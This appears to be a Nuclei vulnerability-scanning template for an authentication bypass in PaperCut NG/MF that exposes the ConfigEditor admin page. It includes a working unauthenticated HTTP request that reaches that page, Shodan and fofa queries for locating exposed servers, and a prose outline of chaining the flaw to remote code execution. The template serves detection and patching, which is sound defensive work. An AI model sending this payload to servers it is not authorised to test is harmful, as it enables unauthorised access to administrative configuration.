PaperCut NG/MF <=26.0.4 - Unauthenticated ConfigEditor Access via Tapestry Complex-Direct

id: CVE-2026-81578

info:
  name: PaperCut NG/MF <=26.0.4 - Unauthenticated ConfigEditor Access via Tapestry Complex-Direct
  author: darses,DhiyaneshDk
  severity: critical
  description: |
    PaperCut NG and PaperCut MF versions 24.x through 26.x contain an authentication bypass vulnerability in the Apache Tapestry-based web interface. By crafting a complex-direct service request that specifies the public Home page as the render target while invoking the privileged ConfigEditor page's form listeners, an unauthenticated remote attacker can search and modify server configuration options. PaperCut's access control validates the render page but fails to validate the component page, allowing full configuration access without authentication. When chained with CVE-2026-82078, an attacker reconfigures external user lookup to use a malicious JDBC URL whose initialization SQL evaluates arbitrary Groovy code, achieving unauthenticated remote code execution. This vulnerability is actively exploited in the wild.
  impact: |
    An unauthenticated remote attacker can bypass authentication to access the ConfigEditor administrative interface and modify arbitrary system configurations including database driver settings. When chained with CVE-2026-82078, full remote code execution is achievable with SYSTEM privileges on Windows or papercut user privileges on Linux.
  remediation: |
    Update to PaperCut NG/MF version 26.0.5, 25.0.13, or 24.1.10 or later. As an immediate mitigation, restrict network access to the PaperCut web management interface (default ports 9191 and 9192) to trusted administrative IPs only.
  reference:
    - https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/
    - https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-81578
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82078
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-81578
    epss-score: 0.85169
    epss-percentile: 0.99709
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 3
    vendor: papercut
    product: papercut_ng,papercut_mf
    shodan-query: http.title:"PaperCut"
    fofa-query: title="PaperCut"
  tags: cve,cve2026,papercut,auth-bypass,rce,unauth,tapestry,kev,vkev

variables:
  rand: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /app?service=page/Error HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<!-- Page: Error -->")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /app HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "<!-- Page: Home -->")'
          - 'status_code == 200'
        condition: and

  - raw:
      - |
        POST /app?service=direct/{{rand}}/Home/ConfigEditor/quickFindForm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{RootURL}}
        Referer: {{RootURL}}/app

        sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=server.name&doQuickFind=Go

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<!-- Page: Home -->")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a004830460221008728ca6fdbc93a4a4eb0aef9fe8f6d336e2ac8a91082840fd05994b2c3b46df8022100bf36e718765a71b113809d684bee95c08bde4556fae1de8669b443149e19fbb8:922c64590222798bb761d5b6d8e72950